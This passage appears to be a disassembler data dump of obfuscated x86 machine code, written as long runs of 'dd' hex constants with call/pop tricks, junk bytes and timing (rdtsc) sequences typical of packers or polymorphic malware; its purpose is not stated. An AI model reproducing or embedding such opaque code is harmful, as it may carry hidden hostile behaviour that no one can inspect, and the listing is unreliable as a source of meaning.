0FE950h, 0E3510000h, 0E8FB4F9Dh dd 0AFB3802Eh, 7247A3DAh, 3EE95B63h, 0F000000h, 8D8BDBBFh dd 9350441h, 1F419D89h, 0E1830935h, 26840F01h, 0BF000000h dd 11B4A70Bh, 441A583h, 29FE0935h, 350685BDh, 65958909h dd 0F09350Dh, 387h, 0FABF0F00h, 0E9h, 0EEB58D00h, 600938E8h dd 2F2D958Bh, 0B5290935h, 9353319h, 6A006A61h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0FE80C356h, 0C2EB6B18h, 11E96020h, 6D000000h, 7BABD140h dd 936AA256h, 3326198Dh, 66E1FFA7h, 82995FFh, 6A0935h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0E03379C3h, 0FAB89965h, 8A5B9h, 0B5896000h, 93530A9h dd 2591BD09h, 83610935h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 8B0E2C3h, 66966097h dd 586DF381h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 6C32374Dh, 0DEDD11F7h, 0F6B320A7h dd 158C0Fh, 9E80000h, 3A000000h, 0A9265FA8h, 0B8F568E1h dd 239BD0Bh, 0B85F0935h, 0 aLA5 db '▀╫a',1Bh,'5',9,'╨',0 dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0A3A3C355h, 0E9BD895Eh, 0AD09351Ah dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Dh, 0D935C571h dd 28C85101h, 211BEF4Bh, 0DDBD0BF7h, 5B093529h, 208D0Fh dd 14E80000h, 0B000000h, 834F152Fh, 0B2490C19h, 6F9DC34Ch dd 0FC36918Ch, 8B8D0703h, 350AA19Dh, 880D5F09h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0A943C350h, 11D5BD29h, 51600935h, 8F0Fh dd 0BE5E0000h, 66B22A4Bh, 29958B61h, 0F093516h, 8D8BF8B7h dd 935287Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0AC35545h, 7E97CD0h, 0D3000000h, 3A16280Dh, 8B503872h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0FB8BDF8Bh dd 0E4C3EB81h, 0BD835C69h, 9351249h, 61840F00h, 9000000h dd 352D3185h, 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 74C138C3h, 2B540FB8h dd 8B66D0AEh, 28D8DDAh, 6A09354Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6C67C357h dd 0F99282DAh, 0B70FE1FFh, 0DFBF0FF8h, 2255BD83h, 0F000935h dd 43184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 7F319AB2h, 4C77E87Ah, 0F601616h dd 28Eh, 0BFF8B100h, 19BFAE6Ch, 55BD8361h, 1093522h, 40B840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0F4E4E2C3h, 10E96Ch, 175E0000h, 9FA4159h dd 2715B74Fh, 8A35FC70h, 0BD838D50h, 9352255h, 94860F03h dd 6A000003h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C366C352h, 6005F5BFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4DC35141h, 6A68400Eh dd 0D98C66F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 7CC35040h, 0A828AFD1h, 0C1F14A7Dh, 0F99501F3h dd 0E9093526h, 7, 30BE011Ch, 80DF9942h, 8D3104E1h, 9350CD1h dd 840FC90Ah, 10Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0D8C35141h, 0FEE6E775h, 0BD8B5A26h, 935276Dh dd 1D69BD29h, 858B0935h, 9352B61h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 51C35343h, 3D30DF44h, 65D6C7E9h dd 0CF81667Fh, 85330540h, 9350D7Dh, 50D9B70Fh, 89D98B66h dd 8E92404h, 0CC000000h, 7AC67C8Ch, 6A442799h, 33BF6600h dd 4E85Fh, 3FF0000h, 0CABB001Fh, 50184C0Ch, 14E95250h dd 0DB000000h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh, 0C6D135CDh dd 0F7B0625h, 5A5B5031h, 24448B58h, 11E95704h, 37000000h dd 937CE7DBh, 9C6A85BFh, 2466DB98h, 0C07CC6A6h, 0E9008B5Bh dd 7, 8764B514h, 89FB6F02h, 66042444h, 584EFEBBh, 0B658589h dd 95FF0935h, 9350CDDh, 300D8589h, 85890935h, 938B76Fh dd 2249BD8Bh, 96E90935h, 8B000001h, 3506759Dh, 67858B09h dd 0C70938B7h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0E4ED9185h, 0BE960E9h dd 0B6000000h, 9A91082Ah, 48E4C6DEh, 0B70FB5B2h, 0B58B61FAh dd 938B76Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 24C35242h, 0B931EC82h, 2C51BD89h, 858B0935h, 93524D5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 5FC35040h dd 40A3EDD6h, 8166B477h, 0E85444EBh, 9, 7DB4CCABh, 232AF3FEh dd 3890FA1h, 0F000000h, 0F5FDAB7h, 689FAB7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 77C35646h, 4EFD9285h dd 0BD9D8B0Fh, 8B09350Eh, 352B6185h, 0E3816609h, 46894AE1h dd 8D0F04h, 50000000h, 0F2CC46BBh, 2434895Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6EC35646h, 24D470CFh dd 663653ECh, 9529D88Bh, 9352C45h, 0B767B5FFh, 6A0938h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 146ACDC3h, 53E3DF2Dh, 688145BFh, 278DDCE3h, 0A48EC4BFh dd 24348160h, 2792DF1Ch, 0BB27BB51h, 8D5F7846h, 38B76F85h dd 0ECF8109h, 502DEAF9h, 5BFA8B50h, 1240489h, 350C01B5h dd 0DD95FF09h, 8B09350Ch, 351C399Dh, 66F86109h, 85C7FB8Bh dd 9352255h, 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 2FC35141h, 0D52D213h, 83FE8BD1h, 38B76FBDh, 840F0009h dd 2Bh, 0D019D8Bh, 3BE90935h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0D79FC351h dd 50FEB5D6h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 1D4593C3h, 0C0CE87A0h, 816682FAh dd 5657C8EBh, 5BD6CF80h, 108E0Fh, 8E80000h, 4C000000h dd 28011E92h, 51CB42BAh, 0BD835B5Fh, 9352255h, 0D4850F03h dd 0F000003h, 583h, 0CB816600h, 0BD83146Bh, 938B76Fh, 0BC840F00h dd 0F000003h, 8B66D9BFh, 6FB5FFF9h, 6A0938B7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0EAD9C357h, 6427F937h, 665378E9h, 8589DF8Bh, 9352FFDh dd 2E1195FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 655792C3h, 0EC32B726h, 1BD0BC1h dd 8B09351Eh, 38B763B5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0B192F1FDh, 6C70A50h dd 10001h, 31C9BD33h, 89500935h, 6A2434h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B2D020C3h dd 0CB80BD2Dh, 2D9D8B9Eh, 0FF093528h, 38B76FB5h, 8995FF09h dd 89093502h, 351B2D9Dh, 63B58B09h, 6A0938B7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6699C352h, 73A8D9Ah, 0D1816660h, 0BE8A650h, 0AA000000h dd 0AC5BC517h, 0A6EBFFD1h, 0B70F21D3h, 8B615ACEh, 350E9985h dd 9D8B6009h, 93528D1h, 8961FD8Ah, 0C486h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0FDA1FF67h, 50994D9Bh, 26B99D8Bh, 958B0935h, 9351629h dd 0D9BF0F52h, 4C2835Fh db 89h, 0BDh word_584F4E dw 1C71h ; DATA XREF: ___:00436EC4o dd 0BD890935h, 9352449h, 0E9205089h, 14h, 0E94A85DFh, 0C12607D6h dd 240A965Ah, 1F9820CAh, 0FBA76F7Eh, 2A5D8589h, 858D0935h dd 938CC07h, 0B88689F8h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 6149C350h dd 503990BEh, 0BE8h, 23096600h, 0F34B2C8Eh, 0DEC54061h dd 2DC18589h, 8B5B0935h, 350CA59Dh, 0E9006A09h, 9, 0DCB67081h dd 98A1E04Fh, 6FB5FFE6h, 6A0938B7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D1D3C352h dd 0FFC84554h, 35115195h, 0DFB70F09h, 24348950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 52C35747h, 0DBB575F6h dd 89FB96EDh, 351AC1BDh, 6FB5FF09h, 6A0938B7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89E0C350h, 3524619Dh, 5595FF09h, 8909350Bh, 353201BDh dd 79BD8309h, 93500h, 2F840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 84744DC3h dd 758875EBh, 50DFB70Fh, 0A86EBF66h, 8B243489h, 6FB5FFD8h dd 6A0938B7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 727CC350h, 0EEC7719Ah, 0BF316313h dd 71F43F11h, 1C3595FFh, 8B0F0935h, 4, 83A7BB66h, 0B76FB5FFh dd 6A0938h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 2D774FC3h, 894D94F0h, 352EC18Dh, 0E595FF09h dd 6A09352Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0DB2BC353h, 5E9504Bh, 5D000000h dd 0FFCE8C56h, 26BDBD83h, 0F020935h, 4384h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 246434DEh, 0E980E9FCh, 0Ch, 8217A159h, 0AE520D2Dh, 0B4A38119h dd 26AD858Bh, 0C6F80935h, 0D98B0000h, 0CDABB66h, 326585C7h dd 935h, 0F5600000h, 121B58Bh, 0E9610935h, 0FFFFF3A0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 22C35141h dd 8BD39EB6h, 35305D9Dh, 0BBC18B09h, 221AA042h, 2659858Dh dd 53900935h, 5B525250h, 5F56310Fh, 505F585Ah, 0CD1E3EBFh dd 10E9906Bh, 22000000h, 36B51EDEh, 2CC23F38h, 3E8DD63Fh dd 6A11B155h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 9AA37FB0h, 21D5BD8Bh, 6A0935h, 6D81858Dh dd 0BD330939h, 9350B75h, 2905C083h, 35001595h, 0ADB35009h dd 81240489h, 1839AC3h, 66006A13h, 9D8BFA8Bh, 9353305h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 99A1AC3h, 6823E32Fh, 68D0Fh, 9D8B0000h, 9352E89h dd 33195FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0EA1C7DC3h, 9D8B189Ch, 9350F91h dd 9AAB8D8Dh, 9D290938h, 935110Dh, 6AD1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A7BFE5C3h dd 0EA18C70Bh, 83D61F80h, 351C19BDh, 850F0109h, 5Fh, 437DBB66h dd 9AC78166h, 0F5026A6Ah, 0DA8B6650h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 3EE7C353h, 95FFFA0Fh, 9351151h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0C4C35242h, 5A880FDh, 0C18D31FCh dd 0E9093512h, 0E81h, 0E8h, 0ED815D00h, 9396D8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 75C35545h, 81C1AFA0h dd 0D99D89BBh, 60093511h, 221D9589h, 8D610935h, 38932B85h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BB0F550h, 352735BDh, 0DE8B5009h, 51240489h dd 32158589h, 645B0935h, 35FFh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E8C81DC3h dd 0Bh, 0F60FEAC1h, 0D695ED08h, 0FDA74DBh, 645FD9BFh, 2589h dd 0FE8B0000h, 300985FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0FF6A2CC3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 65C35545h, 8CB0A6F6h dd 0E1BD3360h, 0FF093522h, 351BBDB5h, 51006A09h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0E7201F7Ah, 0CC41F32Bh, 0B995FF4Ah, 0E909352Eh, 179h dd 0AE9h, 0BFD47900h, 7CA0AC1Ch, 0B0372C1Ah, 198D8900h dd 0E6093500h, 7D858970h, 0E409351Dh, 69B58971h, 3C093505h dd 4A830F61h, 52000001h, 1BE99D89h, 0F5B0935h, 8A60C8B6h dd 799D8BEBh, 6109352Bh, 6BAh, 0CDBD8B00h, 8909350Bh, 350B51B5h dd 0E9C18B09h, 7, 78121731h, 0C153D732h, 0E95104E8h, 5 dd 0D690B5A8h, 0F7665FE8h, 13E9E2h, 5D80000h, 0B4955BACh dd 51B3C2C4h, 8986050Ah, 0B7CA755Dh, 89C82B26h, 350C8585h dd 66D18B09h, 9006E781h, 9E9h, 3870F00h, 0F000000h, 858BFBBFh dd 935106Dh, 33DBD8Bh, 0C0830935h, 0E5BD8B07h, 83093524h dd 5E800C0h, 0CB000000h, 12BE5334h, 17ADBD2Bh, 605F0935h dd 2BDD8529h, 66600935h, 0E0B3D08Bh, 0D03B6161h, 0D830Fh dd 0D98B0000h, 88E9h, 499D8B00h, 8B09350Fh, 3512218Dh dd 9E809h, 0E8C10000h, 57C6E3A4h, 8B1307F9h, 3531A9BDh dd 0E1835F09h, 5E840F01h, 66000000h, 0B21DF781h, 1221A583h dd 0E8FE0935h, 0Fh, 193DA073h, 0FCB51C76h, 371DF288h, 0E92C3F02h dd 12h, 54646474h, 0EA1002EEh, 85781BC8h, 3447457Dh, 605FD4FFh dd 0D359589h, 0E38A0935h, 6D958961h, 0F093510h, 0B8Bh dd 58E0F00h, 66000000h, 86F2D381h, 0E9h, 0ADB58D00h, 6A0938F3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 1B19C352h, 6A5BB3BBh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF1ABEh dd 9350829h, 0EE8h, 236B1000h, 643C63B0h, 57F1A8ACh, 5F25907Ah dd 845B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0C7E6A2Fh, 0AC5C97A4h, 0FCE183E0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 36C35040h dd 25558589h, 66FC0935h, 0C02BFE8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0AAC35141h, 4DD4D7ADh, 0D22BFA8Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 3DC35040h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 8599529h, 6A0935h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8E997C3h, 8D000000h, 8F06F149h, 8966E803h, 35045985h dd 880D09h, 11E80000h, 56000000h, 0BC5DA64Dh, 6CB2A909h dd 0E04DC077h, 256C08BFh dd 0EF9BD8Bh, 8B5B0935h, 35162995h, 259D0909h, 8B09351Bh dd 35287D8Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0FD411276h, 0F381A6FBh, 62482C4h dd 1C11BD8Bh, 8B500935h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0DA1BD29h, 0BD830935h, 9351249h, 45840F00h dd 89000000h, 3528E18Dh, 0B809h, 0BD290000h, 9352651h dd 4C028D8Dh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0DC6A45C3h, 9D31B323h, 93504B9h dd 535EEEBBh, 0F5E1FF44h, 2255BD83h, 0F000935h, 48684h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 3ADDD55Bh, 0F1E07FF7h, 55BD831Fh, 1093522h dd 470840Fh, 9D890000h, 93516BDh, 2255BD83h, 0F030935h dd 42786h, 13E900h, 83F0000h, 8F91F7ECh, 0CADC83E4h, 0BCAB1468h dd 0BF1DEA5Fh, 6A60AFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 216D9FC3h, 497EF191h, 9D8B990Ch dd 93528F5h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 580BC355h, 0FCA17D09h dd 0E904E180h, 13h, 4FC20815h, 4F80BA76h, 0B4DCD44h, 12BD91B5h dd 0A674C16h, 35840FC9h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 364AC353h dd 202EC8A7h, 66463F1Ch, 8B1F29BBh, 352B6185h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 55C34485h, 0BDBFBEA4h, 33405169h, 350D7D85h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 66931CD4h, 0E4FCD381h, 0FE850h, 41AE0000h, 0FF21241h dd 0F71D320Eh, 8513B8B8h, 0FB8B6666h, 2404895Fh, 2591BD8Bh dd 6A0935h, 8610BF66h, 9AB84B68h, 0C6BF6610h, 2434815Ah dd 1085BBB4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0E7C35646h, 0DB99C63Dh, 0CDD95FFh, 6E80935h, 10000000h dd 733075A3h, 0FE9E6h, 0D5900000h, 0F3A47804h, 4C5D76E8h dd 5BC714F4h, 85895B26h, 938B76Fh, 0A7E1BB66h, 1E0E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 74EC17BBh, 3D3D9C25h, 0B5294154h, 93502F1h dd 0B767858Bh, 8E90938h, 0F3000000h, 3BFA6BF9h, 9C8D35Fh dd 35029595h, 1800C709h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 4ACCC350h dd 0D33E63AAh, 7E9h, 0E99C9100h, 1E5DE860h, 0B76BB58Bh dd 858B0938h, 93524D5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 57C35343h, 0F4805964h, 6FBFDD38h, 0E90689DEh dd 0Dh, 5E2C53E2h, 6734CFD2h, 5D655C1Eh, 5FF856F9h, 2B61858Bh dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0CAE560C3h, 89FA8B66h, 6A0446h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 22884CC3h dd 525096CDh, 28C0Fh, 5F500000h, 5250310Fh, 0FF98B66h dd 0CE931h, 0B7F90000h, 0EEA9FD0Fh, 52CFE07Dh, 585A1FE8h dd 6650585Ah, 6A96DE8Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0F960C350h, 0B767B5FFh dd 0F3800938h, 0ADBD89E8h, 68093531h, 0C5F31DC6h, 81F88B66h dd 0E6392404h, 8DF93A2Bh, 38B76F85h, 6840F09h, 29000000h dd 3522DD9Dh, 8B0F9009h, 4, 5FFA8B57h, 60525050h, 61605A56h dd 50310F61h, 0F5B5252h, 5AFB8B31h, 90585A58h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 58C35141h, 8BF93142h dd 0DD95FFFAh, 0F09350Ch, 682h, 898D2900h, 81093516h, 2E2816E7h dd 6A615Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B71547C3h, 1F65B65Bh, 16E9BD8Bh, 85C70935h dd 9352255h, 3, 8BDED780h, 353269BDh, 6FBD8309h, 938B7h dd 6A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0E95657C3h, 0Bh, 0BBE0A30h, 0E3F14CCh dd 5F4D19E2h, 52E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 3C49CECEh, 0C514020Ah dd 0FD858B60h, 31093523h, 3503718Dh, 9D8B6109h, 93523B5h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0A0DAC351h, 51006A5Ah, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0B860D992h dd 77D699EBh, 523BE381h, 10E87ABAh, 0F1000000h, 8735290h dd 37A974C0h, 43DFCD6Eh, 5F6AD111h, 2255BD83h, 0F030935h dd 42F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 3250C9BBh, 29D5B529h, 83F50935h dd 38B76FBDh, 840F0009h, 3FCh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 2CC35545h, 9C162273h, 14E9h dd 7C26C800h, 5C64ACA0h, 0DFB9962Bh, 55BE4C9Fh, 0C0392031h dd 818D897Fh, 0FF09350Dh, 38B76FB5h, 6860F09h, 8B000000h dd 352FA59Dh, 1195FF09h, 6609352Eh, 0B58BD98Bh, 938B763h dd 106C7F9h, 50000100h, 7E9h, 92163000h, 0C2979A10h, 0DABF0F5Fh dd 10E896h, 4BFA0000h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h dd 0E9517719h, 12h, 7996EB4Fh, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h dd 5B5FE06Dh, 0F88B6650h, 61952996h, 0FF093532h, 38B76FB5h dd 8995FF09h, 6A093502h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0C364C353h, 1EA9BD8Bh dd 0B58B0935h, 938B763h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 62C35646h, 6A5C556Bh, 9BE9D90Dh, 699D8999h dd 89093511h, 3523D595h, 99858B09h, 909350Eh, 35249DB5h dd 0C4868909h, 2B000000h, 35330DBDh, 29958B09h, 8B093516h dd 35111D9Dh, 4C28309h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0F3C35141h, 0DF5BD89h, 0B70F0935h, 205089DAh dd 858D3BB7h, 938CC07h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 3AC35545h, 86894F8Ah, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 83C35747h, 6AEB48h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CDC35343h dd 600EB168h, 3319B589h, 8B610935h, 351179BDh, 6FB5FF09h dd 6A0938B7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 6BCC353h, 0CA6F6B6Ch, 0BD8B5719h, 9352779h dd 5195FF5Bh, 1093511h, 352C51B5h, 8C0F9609h, 6, 0FFBB6660h dd 605061E7h, 7E9h, 0A51B300h, 5D898605h, 5E95250h, 2E000000h dd 7E66C5D8h, 32BB310Fh, 5A21DCE4h, 0E8966158h, 12h, 78AFE186h dd 93FA93A9h, 0BFD2AE1Dh, 0F9B5030Ah, 0BD8BBA95h, 9351B95h dd 6FB5FF5Bh, 0F50938B7h, 0B5595FFh, 0B5890935h, 9350EBDh dd 0EE9h, 0C674F700h, 0FD14BAA2h, 1FB789D0h, 83299787h dd 350079BDh, 840F0009h, 3Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 51C35242h, 7E83DCFh, 0D000000h dd 3FEB2641h, 0F52F75Fh, 89h, 505B5B00h, 56243489h, 0B5FF5FF9h dd 938B76Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 2EC35242h, 0FE99747h, 95FFF9BFh, 9351C35h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6CC35343h, 833A0180h dd 0D9D8BDAh, 0F093506h, 38Bh, 0FA8B6600h, 0B76FB5FFh dd 0F88A0938h, 2CE595FFh, 0BB660935h, 0BD83D151h, 93526BDh dd 72840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 241C356h, 858B70D9h dd 93526ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A6C35141h, 69CD28FAh, 6EC261A5h, 8DC78166h, 0C65Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 68C35343h dd 5FE02D27h, 6585C7EEh, 93532h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6D88C357h dd 3656A724h, 0D6530C9Bh, 898FBF66h, 0FFF2C1E9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0D647B7A1h, 0BF0F20E5h, 25BB66DBh, 10E937h, 0B5F40000h dd 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0C18BB0BCh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 11C35545h, 0F1E185Bh dd 7E9DAh, 0C5950000h, 1E43B6D1h, 59858D40h, 6A093526h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 8F82C350h, 10FCDD4Fh, 27F19D29h, 57900935h dd 61605250h, 880F310Fh, 0 aZx_pfGxrj db 'ZX_Pf©g∙░j',0 db 55h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 419D8B21h, 6A093505h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 6666030Dh, 55B9DF81h dd 0B499D8Bh, 6A0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 37C35646h, 87C9BB68h, 85890C32h, 93522A1h dd 7E51858Dh, 6A0939h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0F8A24CC3h, 0CAE13B14h, 5C0837Bh dd 82EB8166h, 9D8B518Eh, 935242Dh, 0F6B7905Bh, 0E8525050h dd 6, 0FB531F63h, 0F88B262Ch, 8A310F5Fh, 90585AFEh, 0AE8h dd 0F7A0ED00h, 0BAE98665h, 661F0F09h, 5F3B2FBFh, 28D9D8Bh dd 6A0935h, 0C811C781h, 6AFC1A12h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0EB8147DEh dd 4619D8D6h, 33195FFh, 8D8D0935h, 9389AABh, 0AE9h, 4DC6A900h dd 337E1B96h, 0E9B39DFFh, 0Ch, 0F710E506h, 23410055h, 0C29E97C6h dd 0BF66D1FFh, 13E8817Fh, 7A000000h, 0AEDBA021h, 77F1C840h dd 0F670412Fh, 0BD21A1FBh, 835B9762h, 351C19BDh, 850F0109h dd 9Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 42C35545h, 0CA7D280Ah, 0FD9078Fh, 26ADEB7h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 55C35040h, 90B89FABh dd 9058F380h, 0BB665250h, 310F029Ah, 5050585Ah, 0F98B6652h dd 